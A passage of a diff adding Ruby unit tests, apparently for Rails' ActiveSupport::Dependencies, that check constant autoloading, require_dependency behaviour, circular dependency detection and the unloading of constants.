+        assert_not ActiveSupport::Dependencies.history.include?(expanded)
+      end
+    end
+  end
+
+  def test_dependency_which_raises_doesnt_blindly_call_blame_file!
+    with_loading do
+      filename = "dependencies/raises_exception_without_blame_file"
+      assert_raises(Exception) { require_dependency filename }
+    end
+  end
+
+  def test_warnings_should_be_enabled_on_first_load
+    with_loading "dependencies" do
+      old_warnings, ActiveSupport::Dependencies.warnings_on_first_load = ActiveSupport::Dependencies.warnings_on_first_load, true
+      filename = "check_warnings"
+      expanded = File.expand_path("dependencies/#{filename}", __dir__)
+      $check_warnings_load_count = 0
+
+      assert_not ActiveSupport::Dependencies.loaded.include?(expanded)
+      assert_not ActiveSupport::Dependencies.history.include?(expanded)
+
+      silence_warnings { require_dependency filename }
+      assert_equal 1, $check_warnings_load_count
+      assert_equal true, $checked_verbose, "On first load warnings should be enabled."
+
+      assert_includes ActiveSupport::Dependencies.loaded, expanded
+      ActiveSupport::Dependencies.clear
+      assert_not ActiveSupport::Dependencies.loaded.include?(expanded)
+      assert_includes ActiveSupport::Dependencies.history, expanded
+
+      silence_warnings { require_dependency filename }
+      assert_equal 2, $check_warnings_load_count
+      assert_nil $checked_verbose, "After first load warnings should be left alone."
+
+      assert_includes ActiveSupport::Dependencies.loaded, expanded
+      ActiveSupport::Dependencies.clear
+      assert_not ActiveSupport::Dependencies.loaded.include?(expanded)
+      assert_includes ActiveSupport::Dependencies.history, expanded
+
+      enable_warnings { require_dependency filename }
+      assert_equal 3, $check_warnings_load_count
+      assert_equal true, $checked_verbose, "After first load warnings should be left alone."
+
+      assert_includes ActiveSupport::Dependencies.loaded, expanded
+      ActiveSupport::Dependencies.warnings_on_first_load = old_warnings
+    end
+  end
+
+  def test_mutual_dependencies_dont_infinite_loop
+    with_loading "dependencies" do
+      $mutual_dependencies_count = 0
+      assert_nothing_raised { require_dependency "mutual_one" }
+      assert_equal 2, $mutual_dependencies_count
+
+      ActiveSupport::Dependencies.clear
+
+      $mutual_dependencies_count = 0
+      assert_nothing_raised { require_dependency "mutual_two" }
+      assert_equal 2, $mutual_dependencies_count
+    end
+  end
+
+  def test_circular_autoloading_detection
+    with_autoloading_fixtures do
+      e = assert_raise(RuntimeError) { Circular1 }
+      assert_equal "Circular dependency detected while autoloading constant Circular1", e.message
+    end
+  end
+
+  def test_ensures_the_expected_constant_is_defined
+    with_autoloading_fixtures do
+      e = assert_raise(LoadError) { Typo }
+      assert_match %r{Unable to autoload constant Typo, expected .*/test/autoloading_fixtures/typo.rb to define it}, e.message
+    end
+  end
+
+  def test_require_dependency_does_not_assume_any_particular_constant_is_defined
+    with_autoloading_fixtures do
+      require_dependency "typo"
+      assert_equal 1, TypO
+    end
+  end
+
+  # Regression, see https://github.com/rails/rails/issues/16468.
+  def test_require_dependency_interaction_with_autoloading
+    with_autoloading_fixtures do
+      require_dependency "typo"
+      assert_equal 1, TypO
+
+      e = assert_raise(LoadError) { Typo }
+      assert_match %r{Unable to autoload constant Typo, expected .*/test/autoloading_fixtures/typo.rb to define it}, e.message
+    end
+  end
+
+  def test_module_loading
+    with_autoloading_fixtures do
+      assert_kind_of Module, A
+      assert_kind_of Class, A::B
+      assert_kind_of Class, A::C::D
+      assert_kind_of Class, A::C::EM::F
+    end
+  end
+
+  def test_non_existing_const_raises_name_error
+    with_autoloading_fixtures do
+      assert_raise(NameError) { DoesNotExist }
+      assert_raise(NameError) { NoModule::DoesNotExist }
+      assert_raise(NameError) { A::DoesNotExist }
+      assert_raise(NameError) { A::B::DoesNotExist }
+    end
+  end
+
+  def test_directories_manifest_as_modules_unless_const_defined
+    with_autoloading_fixtures do
+      assert_kind_of Module, ModuleFolder
+    end
+  ensure
+    remove_constants(:ModuleFolder)
+  end
+
+  def test_module_with_nested_class
+    with_autoloading_fixtures do
+      assert_kind_of Class, ModuleFolder::NestedClass
+    end
+  ensure
+    remove_constants(:ModuleFolder)
+  end
+
+  def test_module_with_nested_inline_class
+    with_autoloading_fixtures do
+      assert_kind_of Class, ModuleFolder::InlineClass
+    end
+  ensure
+    remove_constants(:ModuleFolder)
+  end
+
+  def test_directories_may_manifest_as_nested_classes
+    with_autoloading_fixtures do
+      assert_kind_of Class, ClassFolder
+    end
+  ensure
+    remove_constants(:ClassFolder)
+  end
+
+  def test_class_with_nested_class
+    with_autoloading_fixtures do
+      assert_kind_of Class, ClassFolder::NestedClass
+    end
+  ensure
+    remove_constants(:ClassFolder)
+  end
+
+  def test_class_with_nested_inline_class
+    with_autoloading_fixtures do
+      assert_kind_of Class, ClassFolder::InlineClass
+    end
+  ensure
+    remove_constants(:ClassFolder)
+  end
+
+  def test_class_with_nested_inline_subclass_of_parent
+    with_autoloading_fixtures do
+      assert_kind_of Class, ClassFolder::ClassFolderSubclass
+      assert_kind_of Class, ClassFolder
+      assert_equal "indeed", ClassFolder::ClassFolderSubclass::ConstantInClassFolder
+    end
+  ensure
+    remove_constants(:ClassFolder)
+  end
+
+  def test_nested_class_can_access_sibling
+    with_autoloading_fixtures do
+      sibling = ModuleFolder::NestedClass.class_eval "NestedSibling"
+      assert defined?(ModuleFolder::NestedSibling)
+      assert_equal ModuleFolder::NestedSibling, sibling
+    end
+  ensure
+    remove_constants(:ModuleFolder)
+  end
+
+  def test_raising_discards_autoloaded_constants
+    with_autoloading_fixtures do
+      e = assert_raises(Exception) { RaisesArbitraryException }
+      assert_equal("arbitrary exception message", e.message)
+      assert_not defined?(A)
+      assert_not defined?(RaisesArbitraryException)
+    end
+  ensure
+    remove_constants(:A, :RaisesArbitraryException)
+  end
+
+  def test_throwing_discards_autoloaded_constants
+    with_autoloading_fixtures do
+      catch :t do
+        Throws
+      end
+      assert_not defined?(A)
+      assert_not defined?(Throws)
+    end
+  ensure
+    remove_constants(:A, :Throws)
+  end
+
+  def test_doesnt_break_normal_require
+    path = File.expand_path("autoloading_fixtures/load_path", __dir__)
+    original_path = $:.dup
+    $:.push(path)
+    with_autoloading_fixtures do
+      # The _ = assignments are to prevent warnings
+      _ = RequiresConstant
+      assert defined?(RequiresConstant)
+      assert defined?(LoadedConstant)
+      ActiveSupport::Dependencies.clear
+      _ = RequiresConstant
+      assert defined?(RequiresConstant)
+      assert defined?(LoadedConstant)
+    end
+  ensure
+    remove_constants(:RequiresConstant, :LoadedConstant)
+    $:.replace(original_path)
+  end
+
+  def test_doesnt_break_normal_require_nested
+    path = File.expand_path("autoloading_fixtures/load_path", __dir__)
+    original_path = $:.dup
+    $:.push(path)
+
+    with_autoloading_fixtures do
+      # The _ = assignments are to prevent warnings
+      _ = LoadsConstant
+      assert defined?(LoadsConstant)
+      assert defined?(LoadedConstant)
+      ActiveSupport::Dependencies.clear
+      _ = LoadsConstant
+      assert defined?(LoadsConstant)
+      assert defined?(LoadedConstant)
+    end
+  ensure
+    remove_constants(:RequiresConstant, :LoadedConstant, :LoadsConstant)
+    $:.replace(original_path)
+  end
+
+  def test_require_returns_true_when_file_not_yet_required
+    path = File.expand_path("autoloading_fixtures/load_path", __dir__)
+    original_path = $:.dup
+    $:.push(path)
+
+    with_loading do
+      assert_equal true, require("loaded_constant")
+    end
+  ensure
+    remove_constants(:LoadedConstant)
+    $:.replace(original_path)
+  end
+
+  def test_require_returns_true_when_file_not_yet_required_even_when_no_new_constants_added
+    path = File.expand_path("autoloading_fixtures/load_path", __dir__)
+    original_path = $:.dup
+    $:.push(path)
+
+    with_loading do
+      Object.module_eval "module LoadedConstant; end"
+      assert_equal true, require("loaded_constant")
+    end
+  ensure
+    remove_constants(:LoadedConstant)
+    $:.replace(original_path)
+  end
+
+  def test_require_returns_false_when_file_already_required
+    path = File.expand_path("autoloading_fixtures/load_path", __dir__)
+    original_path = $:.dup
+    $:.push(path)
+
+    with_loading do
+      require "loaded_constant"
+      assert_equal false, require("loaded_constant")
+    end
+  ensure
+    remove_constants(:LoadedConstant)
+    $:.replace(original_path)
+  end
+
+  def test_require_raises_load_error_when_file_not_found
+    with_loading do
+      assert_raise(LoadError) { require "this_file_dont_exist_dude" }
+    end
+  end
+
+  def test_load_returns_true_when_file_found
+    path = File.expand_path("autoloading_fixtures/load_path", __dir__)
+    original_path = $:.dup
+    $:.push(path)
+
+    with_loading do
+      assert_equal true, load("loaded_constant.rb")
+      assert_equal true, load("loaded_constant.rb")
+    end
+  ensure
+    remove_constants(:LoadedConstant)
+    $:.replace(original_path)
+  end
+
+  def test_load_raises_load_error_when_file_not_found
+    with_loading do
+      assert_raise(LoadError) { load "this_file_dont_exist_dude.rb" }
+    end
+  end
+
+  # This raises only on 2.5.. (warns on ..2.4)
+  if RUBY_VERSION > "2.5"
+    def test_access_thru_and_upwards_fails
+      with_autoloading_fixtures do
+        assert_not defined?(ModuleFolder)
+        assert_raise(NameError) { ModuleFolder::Object }
+        assert_raise(NameError) { ModuleFolder::NestedClass::Object }
+      end
+    ensure
+      remove_constants(:ModuleFolder)
+    end
+  end
+
+  def test_non_existing_const_raises_name_error_with_fully_qualified_name
+    with_autoloading_fixtures do
+      e = assert_raise(NameError) { A::DoesNotExist.nil? }
+      assert_equal "uninitialized constant A::DoesNotExist", e.message
+      assert_equal :DoesNotExist, e.name
+
+      e = assert_raise(NameError) { A::B::DoesNotExist.nil? }
+      assert_equal "uninitialized constant A::B::DoesNotExist", e.message
+      assert_equal :DoesNotExist, e.name
+    end
+  ensure
+    remove_constants(:A)
+  end
+
+  def test_smart_name_error_strings
+    e = assert_raise NameError do
+      Object.module_eval "ImaginaryObject"
+    end
+    assert_includes "uninitialized constant ImaginaryObject", e.message
+  end
+
+  def test_loadable_constants_for_path_should_handle_empty_autoloads
+    assert_equal [], ActiveSupport::Dependencies.loadable_constants_for_path("hello")
+  end
+
+  def test_loadable_constants_for_path_should_handle_relative_paths
+    fake_root = "dependencies"
+    relative_root = File.expand_path("dependencies", __dir__)
+    ["", "/"].each do |suffix|
+      with_loading fake_root + suffix do
+        assert_equal ["A::B"], ActiveSupport::Dependencies.loadable_constants_for_path(relative_root + "/a/b")
+      end
+    end
+  end
+
+  def test_loadable_constants_for_path_should_provide_all_results
+    fake_root = "/usr/apps/backpack"
+    with_loading fake_root, fake_root + "/lib" do
+      root = ActiveSupport::Dependencies.autoload_paths.first
+      assert_equal ["Lib::A::B", "A::B"], ActiveSupport::Dependencies.loadable_constants_for_path(root + "/lib/a/b")
+    end
+  end
+
+  def test_loadable_constants_for_path_should_uniq_results
+    fake_root = "/usr/apps/backpack/lib"
+    with_loading fake_root, fake_root + "/" do
+      root = ActiveSupport::Dependencies.autoload_paths.first
+      assert_equal ["A::B"], ActiveSupport::Dependencies.loadable_constants_for_path(root + "/a/b")
+    end
+  end
+
+  def test_loadable_constants_with_load_path_without_trailing_slash
+    path = File.expand_path("autoloading_fixtures/class_folder/inline_class.rb", __dir__)
+    with_loading "autoloading_fixtures/class/" do
+      assert_equal [], ActiveSupport::Dependencies.loadable_constants_for_path(path)
+    end
+  end
+
+  def test_qualified_const_defined
+    assert ActiveSupport::Dependencies.qualified_const_defined?("Object")
+    assert ActiveSupport::Dependencies.qualified_const_defined?("::Object")
+    assert ActiveSupport::Dependencies.qualified_const_defined?("::Object::Kernel")
+    assert ActiveSupport::Dependencies.qualified_const_defined?("::ActiveSupport::TestCase")
+  end
+
+  def test_qualified_const_defined_should_not_call_const_missing
+    ModuleWithMissing.missing_count = 0
+    assert ! ActiveSupport::Dependencies.qualified_const_defined?("ModuleWithMissing::A")
+    assert_equal 0, ModuleWithMissing.missing_count
+    assert ! ActiveSupport::Dependencies.qualified_const_defined?("ModuleWithMissing::A::B")
+    assert_equal 0, ModuleWithMissing.missing_count
+  end
+
+  def test_qualified_const_defined_explodes_with_invalid_const_name
+    assert_raises(NameError) { ActiveSupport::Dependencies.qualified_const_defined?("invalid") }
+  end
+
+  def test_autoloaded?
+    with_autoloading_fixtures do
+      assert ! ActiveSupport::Dependencies.autoloaded?("ModuleFolder")
+      assert ! ActiveSupport::Dependencies.autoloaded?("ModuleFolder::NestedClass")
+
+      assert ActiveSupport::Dependencies.autoloaded?(ModuleFolder)
+
+      assert ActiveSupport::Dependencies.autoloaded?("ModuleFolder")
+      assert ! ActiveSupport::Dependencies.autoloaded?("ModuleFolder::NestedClass")
+
+      assert ActiveSupport::Dependencies.autoloaded?(ModuleFolder::NestedClass)
+
+      assert ActiveSupport::Dependencies.autoloaded?("ModuleFolder")
+      assert ActiveSupport::Dependencies.autoloaded?("ModuleFolder::NestedClass")
+
+      assert ActiveSupport::Dependencies.autoloaded?("::ModuleFolder")
+      assert ActiveSupport::Dependencies.autoloaded?(:ModuleFolder)
+
+      # Anonymous modules aren't autoloaded.
+      assert !ActiveSupport::Dependencies.autoloaded?(Module.new)
+
+      nil_name = Module.new
+      def nil_name.name() nil end
+      assert !ActiveSupport::Dependencies.autoloaded?(nil_name)
+    end
+  ensure
+    remove_constants(:ModuleFolder)
+  end
+
+  def test_qualified_name_for
+    assert_equal "A", ActiveSupport::Dependencies.qualified_name_for(Object, :A)
+    assert_equal "A", ActiveSupport::Dependencies.qualified_name_for(:Object, :A)
+    assert_equal "A", ActiveSupport::Dependencies.qualified_name_for("Object", :A)
+    assert_equal "A", ActiveSupport::Dependencies.qualified_name_for("::Object", :A)
+
+    assert_equal "ActiveSupport::Dependencies::A", ActiveSupport::Dependencies.qualified_name_for(:'ActiveSupport::Dependencies', :A)
+    assert_equal "ActiveSupport::Dependencies::A", ActiveSupport::Dependencies.qualified_name_for(ActiveSupport::Dependencies, :A)
+  end
+
+  def test_file_search
+    with_loading "dependencies" do
+      root = ActiveSupport::Dependencies.autoload_paths.first
+      assert_nil ActiveSupport::Dependencies.search_for_file("service_three")
+      assert_nil ActiveSupport::Dependencies.search_for_file("service_three.rb")
+      assert_equal root + "/service_one.rb", ActiveSupport::Dependencies.search_for_file("service_one")
+      assert_equal root + "/service_one.rb", ActiveSupport::Dependencies.search_for_file("service_one.rb")
+    end
+  end
+
+  def test_file_search_uses_first_in_load_path
+    with_loading "dependencies", "autoloading_fixtures" do
+      deps, autoload = ActiveSupport::Dependencies.autoload_paths
+      assert_match %r/dependencies/, deps
+      assert_match %r/autoloading_fixtures/, autoload
+
+      assert_equal deps + "/conflict.rb", ActiveSupport::Dependencies.search_for_file("conflict")
+    end
+    with_loading "autoloading_fixtures", "dependencies" do
+      autoload, deps = ActiveSupport::Dependencies.autoload_paths
+      assert_match %r/dependencies/, deps
+      assert_match %r/autoloading_fixtures/, autoload
+
+      assert_equal autoload + "/conflict.rb", ActiveSupport::Dependencies.search_for_file("conflict")
+    end
+  end
+
+  def test_custom_const_missing_should_work
+    Object.module_eval <<-end_eval, __FILE__, __LINE__ + 1
+      module ModuleWithCustomConstMissing
+        def self.const_missing(name)
+          const_set name, name.to_s.hash
+        end
+
+        module A
+        end
+      end
+    end_eval
+
+    with_autoloading_fixtures do
+      assert_kind_of Integer, ::ModuleWithCustomConstMissing::B
+      assert_kind_of Module, ::ModuleWithCustomConstMissing::A
+      assert_kind_of String, ::ModuleWithCustomConstMissing::A::B
+    end
+  ensure
+    remove_constants(:ModuleWithCustomConstMissing)
+  end
+
+  def test_const_missing_in_anonymous_modules_loads_top_level_constants
+    with_autoloading_fixtures do
+      # class_eval STRING pushes the class to the nesting of the eval'ed code.
+      klass = Class.new.class_eval "EM"
+      assert_equal EM, klass
+    end
+  ensure
+    remove_constants(:EM)
+  end
+
+  def test_const_missing_in_anonymous_modules_raises_if_the_constant_belongs_to_Object
+    with_autoloading_fixtures do
+      require_dependency "em"
+
+      mod = Module.new
+      e = assert_raise(NameError) { mod::EM }
+      assert_equal "EM cannot be autoloaded from an anonymous class or module", e.message
+      assert_equal :EM, e.name
+    end
+  ensure
+    remove_constants(:EM)
+  end
+
+  def test_removal_from_tree_should_be_detected
+    with_loading "dependencies" do
+      c = ServiceOne
+      ActiveSupport::Dependencies.clear
+      assert_not defined?(ServiceOne)
+      e = assert_raise ArgumentError do
+        ActiveSupport::Dependencies.load_missing_constant(c, :FakeMissing)
+      end
+      assert_match %r{ServiceOne has been removed from the module tree}i, e.message
+    end
+  ensure
+    remove_constants(:ServiceOne)
+  end
+
+  def test_references_should_work
+    with_loading "dependencies" do
+      c = ActiveSupport::Dependencies.reference("ServiceOne")
+      service_one_first = ServiceOne
+      assert_equal service_one_first, c.get("ServiceOne")
+      ActiveSupport::Dependencies.clear
+      assert_not defined?(ServiceOne)
+      service_one_second = ServiceOne
+      assert_not_equal service_one_first, c.get("ServiceOne")
+      assert_equal service_one_second, c.get("ServiceOne")
+    end
+  ensure
+    remove_constants(:ServiceOne)
+  end
+
+  def test_constantize_shortcut_for_cached_constant_lookups
+    with_loading "dependencies" do
+      assert_equal ServiceOne, ActiveSupport::Dependencies.constantize("ServiceOne")
+    end
+  ensure
+    remove_constants(:ServiceOne)
+  end
+
+  def test_nested_load_error_isnt_rescued
+    with_loading "dependencies" do
+      assert_raise(LoadError) do
+        RequiresNonexistent1
+      end
+    end
+  end
+
+  def test_autoload_once_paths_do_not_add_to_autoloaded_constants
+    old_path = ActiveSupport::Dependencies.autoload_once_paths
+    with_autoloading_fixtures do
+      ActiveSupport::Dependencies.autoload_once_paths = ActiveSupport::Dependencies.autoload_paths.dup
+
+      assert_not ActiveSupport::Dependencies.autoloaded?("ModuleFolder")
+      assert_not ActiveSupport::Dependencies.autoloaded?("ModuleFolder::NestedClass")
+      assert_not ActiveSupport::Dependencies.autoloaded?(ModuleFolder)
+
+      1 if ModuleFolder::NestedClass # 1 if to avoid warning
+      assert_not ActiveSupport::Dependencies.autoloaded?(ModuleFolder::NestedClass)
+    end
+  ensure
+    remove_constants(:ModuleFolder)
+    ActiveSupport::Dependencies.autoload_once_paths = old_path
+  end
+
+  def test_autoload_once_pathnames_do_not_add_to_autoloaded_constants
+    with_autoloading_fixtures do
+      pathnames = ActiveSupport::Dependencies.autoload_paths.collect { |p| Pathname.new(p) }
+      ActiveSupport::Dependencies.autoload_paths = pathnames
+      ActiveSupport::Dependencies.autoload_once_paths = pathnames
+
+      assert_not ActiveSupport::Dependencies.autoloaded?("ModuleFolder")
+      assert_not ActiveSupport::Dependencies.autoloaded?("ModuleFolder::NestedClass")
+      assert_not ActiveSupport::Dependencies.autoloaded?(ModuleFolder)
+
+      1 if ModuleFolder::NestedClass # 1 if to avoid warning
+      assert_not ActiveSupport::Dependencies.autoloaded?(ModuleFolder::NestedClass)
+    end
+  ensure
+    remove_constants(:ModuleFolder)
+    ActiveSupport::Dependencies.autoload_once_paths = []
+  end
+
+  def test_application_should_special_case_application_controller
+    with_autoloading_fixtures do
+      require_dependency "application"
+      assert_equal 10, ApplicationController
+      assert ActiveSupport::Dependencies.autoloaded?(:ApplicationController)
+    end
+  ensure
+    remove_constants(:ApplicationController)
+  end
+
+  def test_preexisting_constants_are_not_marked_as_autoloaded
+    with_autoloading_fixtures do
+      require_dependency "em"
+      assert ActiveSupport::Dependencies.autoloaded?(:EM)
+      ActiveSupport::Dependencies.clear
+    end
+
+    Object.const_set :EM, Class.new
+    with_autoloading_fixtures do
+      require_dependency "em"
+      assert ! ActiveSupport::Dependencies.autoloaded?(:EM), "EM shouldn't be marked autoloaded!"
+      ActiveSupport::Dependencies.clear
+    end
+  ensure
+    remove_constants(:EM)
+  end
+
+  def test_constants_in_capitalized_nesting_marked_as_autoloaded
+    with_autoloading_fixtures do
+      ActiveSupport::Dependencies.load_missing_constant(HTML, "SomeClass")
+
+      assert ActiveSupport::Dependencies.autoloaded?("HTML::SomeClass")
+    end
+  ensure
+    remove_constants(:HTML)
+  end
+
+  def test_unloadable
+    with_autoloading_fixtures do
+      Object.const_set :M, Module.new
+      M.unloadable
+
+      ActiveSupport::Dependencies.clear
+      assert ! defined?(M)
+
+      Object.const_set :M, Module.new
+      ActiveSupport::Dependencies.clear
+      assert ! defined?(M), "Dependencies should unload unloadable constants each time"
+    end
+  end
+
+  def test_unloadable_should_fail_with_anonymous_modules
+    with_autoloading_fixtures do
+      m = Module.new
+      assert_raise(ArgumentError) { m.unloadable }
+    end
+  end
+
+  def test_unloadable_should_return_change_flag
+    with_autoloading_fixtures do
+      Object.const_set :M, Module.new
+      assert_equal true, M.unloadable
+      assert_equal false, M.unloadable
+    end
+  ensure
+    remove_constants(:M)
+  end
+
+  def test_unloadable_constants_should_receive_callback
+    Object.const_set :C, Class.new { def self.before_remove_const; end }
+    C.unloadable
+    assert_called(C, :before_remove_const, times: 1) do
+      assert C.respond_to?(:before_remove_const)
+      ActiveSupport::Dependencies.clear
+      assert !defined?(C)
+    end
+  ensure
+    remove_constants(:C)
+  end
+
+  def test_new_contants_in_without_constants
+    assert_equal [], (ActiveSupport::Dependencies.new_constants_in(Object) {})
+    assert ActiveSupport::Dependencies.constant_watch_stack.all? { |k, v| v.empty? }
+  end
+
+  def test_new_constants_in_with_a_single_constant
+    assert_equal ["Hello"], ActiveSupport::Dependencies.new_constants_in(Object) {
+                              Object.const_set :Hello, 10
+                            }.map(&:to_s)
+    assert ActiveSupport::Dependencies.constant_watch_stack.all? { |k, v| v.empty? }
+  ensure
+    remove_constants(:Hello)
+  end
+
+  def test_new_constants_in_with_nesting
+    outer = ActiveSupport::Dependencies.new_constants_in(Object) do
+      Object.const_set :OuterBefore, 10
+
+      assert_equal ["Inner"], ActiveSupport::Dependencies.new_constants_in(Object) {
+                                Object.const_set :Inner, 20
+                              }.map(&:to_s)
+
+      Object.const_set :OuterAfter, 30
+    end
+
+    assert_equal ["OuterAfter", "OuterBefore"], outer.sort.map(&:to_s)
+    assert ActiveSupport::Dependencies.constant_watch_stack.all? { |k, v| v.empty? }
+  ensure
+    remove_constants(:OuterBefore, :Inner, :OuterAfter)
+  end
+
+  def test_new_constants_in_module
+    Object.const_set :M, Module.new
+
+    outer = ActiveSupport::Dependencies.new_constants_in(M) do
+      M.const_set :OuterBefore, 10
+
+      inner = ActiveSupport::Dependencies.new_constants_in(M) do
+        M.const_set :Inner, 20
+      end
+      assert_equal ["M::Inner"], inner
+
+      M.const_set :OuterAfter, 30
+    end
+    assert_equal ["M::OuterAfter", "M::OuterBefore"], outer.sort
+    assert ActiveSupport::Dependencies.constant_watch_stack.all? { |k, v| v.empty? }
+  ensure
+    remove_constants(:M)
+  end
+
+  def test_new_constants_in_module_using_name
+    outer = ActiveSupport::Dependencies.new_constants_in(:M) do
+      Object.const_set :M, Module.new
+      M.const_set :OuterBefore, 10
+
+      inner = ActiveSupport::Dependencies.new_constants_in(:M) do
+        M.const_set :Inner, 20
+      end
+      assert_equal ["M::Inner"], inner
+
+      M.const_set :OuterAfter, 30
+    end
+    assert_equal ["M::OuterAfter", "M::OuterBefore"], outer.sort
+    assert ActiveSupport::Dependencies.constant_watch_stack.all? { |k, v| v.empty? }
+  ensure
+    remove_constants(:M)
+  end
+
+  def test_new_constants_in_with_inherited_constants
+    m = ActiveSupport::Dependencies.new_constants_in(:Object) do
+      Object.class_eval { include ModuleWithConstant }
+    end
+    assert_equal [], m
+  end
+
+  def test_new_constants_in_with_illegal_module_name_raises_correct_error
+    assert_raise(NameError) do
+      ActiveSupport::Dependencies.new_constants_in("Illegal-Name") {}
+    end
+  end
+
+  def test_file_with_multiple_constants_and_require_dependency
+    with_autoloading_fixtures do
+      assert_not defined?(MultipleConstantFile)
+      assert_not defined?(SiblingConstant)
+
+      require_dependency "multiple_constant_file"
+      assert defined?(MultipleConstantFile)
+      assert defined?(SiblingConstant)
+      assert ActiveSupport::Dependencies.autoloaded?(:MultipleConstantFile)
+      assert ActiveSupport::Dependencies.autoloaded?(:SiblingConstant)
+      ActiveSupport::Dependencies.clear
+
+      assert_not defined?(MultipleConstantFile)
+      assert_not defined?(SiblingConstant)
+    end
+  ensure
+    remove_constants(:MultipleConstantFile, :SiblingConstant)
+  end
+
+  def test_file_with_multiple_constants_and_auto_loading
+    with_autoloading_fixtures do
+      assert_not defined?(MultipleConstantFile)
+      assert_not defined?(SiblingConstant)
+
+      assert_equal 10, MultipleConstantFile
+
+      assert defined?(MultipleConstantFile)
+      assert defined?(SiblingConstant)
+      assert ActiveSupport::Dependencies.autoloaded?(:MultipleConstantFile)
+      assert ActiveSupport::Dependencies.autoloaded?(:SiblingConstant)
+
+      ActiveSupport::Dependencies.clear
+
+      assert_not defined?(MultipleConstantFile)
+      assert_not defined?(SiblingConstant)
+    end
+  ensure
+    remove_constants(:MultipleConstantFile, :SiblingConstant)
+  end
+
+  def test_nested_file_with_multiple_constants_and_require_dependency
+    with_autoloading_fixtures do
+      assert_not defined?(ClassFolder::NestedClass)
+      assert_not defined?(ClassFolder::SiblingClass)
+
+      require_dependency "class_folder/nested_class"
+
+      assert defined?(ClassFolder::NestedClass)
+      assert defined?(ClassFolder::SiblingClass)
+      assert ActiveSupport::Dependencies.autoloaded?("ClassFolder::NestedClass")
+      assert ActiveSupport::Dependencies.autoloaded?("ClassFolder::SiblingClass")
+
+      ActiveSupport::Dependencies.clear
+
+      assert_not defined?(ClassFolder::NestedClass)
+      assert_not defined?(ClassFolder::SiblingClass)
+    end
+  ensure
+    remove_constants(:ClassFolder)
+  end
+
+  def test_nested_file_with_multiple_constants_and_auto_loading
+    with_autoloading_fixtures do
+      assert_not defined?(ClassFolder::NestedClass)
+      assert_not defined?(ClassFolder::SiblingClass)
+
+      assert_kind_of Class, ClassFolder::NestedClass
+
+      assert defined?(ClassFolder::NestedClass)
+      assert defined?(ClassFolder::SiblingClass)
+      assert ActiveSupport::Dependencies.autoloaded?("ClassFolder::NestedClass")
+      assert ActiveSupport::Dependencies.autoloaded?("ClassFolder::SiblingClass")
+
+      ActiveSupport::Dependencies.clear
+
+      assert_not defined?(ClassFolder::NestedClass)
+      assert_not defined?(ClassFolder::SiblingClass)
+    end
+  ensure
+    remove_constants(:ClassFolder)
+  end
+
+  def test_autoload_doesnt_shadow_no_method_error_with_relative_constant
+    with_autoloading_fixtures do
+      assert !defined?(::RaisesNoMethodError), "::RaisesNoMethodError is defined but it hasn't been referenced yet!"
+      2.times do
+        assert_raise(NoMethodError) { RaisesNoMethodError }
+        assert !defined?(::RaisesNoMethodError), "::RaisesNoMethodError is defined but it should have failed!"
+      end
+    end
+  ensure
+    remove_constants(:RaisesNoMethodError)
+  end
+
+  def test_autoload_doesnt_shadow_no_method_error_with_absolute_constant
+    with_autoloading_fixtures do
+      assert !defined?(::RaisesNoMethodError), "::RaisesNoMethodError is defined but it hasn't been referenced yet!"
+      2.times do
+        assert_raise(NoMethodError) { ::RaisesNoMethodError }
+        assert !defined?(::RaisesNoMethodError), "::RaisesNoMethodError is defined but it should have failed!"
+      end
+    end
+  ensure
+    remove_constants(:RaisesNoMethodError)
+  end
+
+  def test_autoload_doesnt_shadow_error_when_mechanism_not_set_to_load
+    with_autoloading_fixtures do
+      ActiveSupport::Dependencies.mechanism = :require
+      2.times do
+        assert_raise(NameError) { assert_equal 123, ::RaisesNameError::FooBarBaz }
+      end
+    end
+  ensure
+    remove_constants(:RaisesNameError)
+  end
+
+  def test_autoload_doesnt_shadow_name_error
+    with_autoloading_fixtures do
+      2.times do
+        e = assert_raise NameError do
+          ::RaisesNameError::FooBarBaz.object_id
+        end
+        assert_equal "uninitialized constant RaisesNameError::FooBarBaz", e.message
+        assert !defined?(::RaisesNameError), "::RaisesNameError is defined but it should have failed!"
+      end
+
+      assert !defined?(::RaisesNameError)
+      2.times do
+        assert_raise(NameError) { ::RaisesNameError }
+        assert !defined?(::RaisesNameError), "::RaisesNameError is defined but it should have failed!"
+      end
+    end
+  ensure
+    remove_constants(:RaisesNameError)
+  end
+
+  def test_remove_constant_handles_double_colon_at_start
+    Object.const_set "DeleteMe", Module.new
+    DeleteMe.const_set "OrMe", Module.new
+    ActiveSupport::Dependencies.remove_constant "::DeleteMe::OrMe"
+    assert_not defined?(DeleteMe::OrMe)
+    assert defined?(DeleteMe)
+    ActiveSupport::Dependencies.remove_constant "::DeleteMe"
+    assert_not defined?(DeleteMe)
+  ensure
+    remove_constants(:DeleteMe)
+  end
+
+  def test_remove_constant_does_not_trigger_loading_autoloads
+    constant = "ShouldNotBeAutoloaded"
+    Object.class_eval do
+      autoload constant, File.expand_path("autoloading_fixtures/should_not_be_required", __dir__)
+    end
+
+    assert_nil ActiveSupport::Dependencies.remove_constant(constant), "Kernel#autoload has been triggered by remove_constant"
+    assert_not defined?(ShouldNotBeAutoloaded)
+  ensure
+    remove_constants(constant)
+  end
+
+  def test_remove_constant_does_not_autoload_already_removed_parents_as_a_side_effect
+    with_autoloading_fixtures do
+      _ = ::A    # assignment to silence parse-time warning "possibly useless use of :: in void context"
+      _ = ::A::B # assignment to silence parse-time warning "possibly useless use of :: in void context"
+      ActiveSupport::Dependencies.remove_constant("A")
+      ActiveSupport::Dependencies.remove_constant("A::B")
+      assert_not defined?(A)
+    end
+  ensure
+    remove_constants(:A)
+  end
+
+  def test_load_once_constants_should_not_be_unloaded
+    old_path = ActiveSupport::Dependencies.autoload_once_paths
+    with_autoloading_fixtures do
+      ActiveSupport::Dependencies.autoload_once_paths = ActiveSupport::Dependencies.autoload_paths
+      _ = ::A # assignment to silence parse-time warning "possibly useless use of :: in void context"
+      assert defined?(A)
+      ActiveSupport::Dependencies.clear
+      assert defined?(A)
+    end
+  ensure
+    ActiveSupport::Dependencies.autoload_once_paths = old_path
+    remove_constants(:A)
+  end
+
+  def test_access_unloaded_constants_for_reload
+    with_autoloading_fixtures do
+      assert_kind_of Module, A
+      assert_kind_of Class, A::B # Necessary to load A::B for the test
+      ActiveSupport::Dependencies.mark_for_unload(A::B)
+      ActiveSupport::Dependencies.remove_unloadable_constants!
+
+      A::B # Make sure no circular dependency error
+    end
+  ensure
+    remove_constants(:A)
+  end
+
+  def test_autoload_once_paths_should_behave_when_recursively_loading
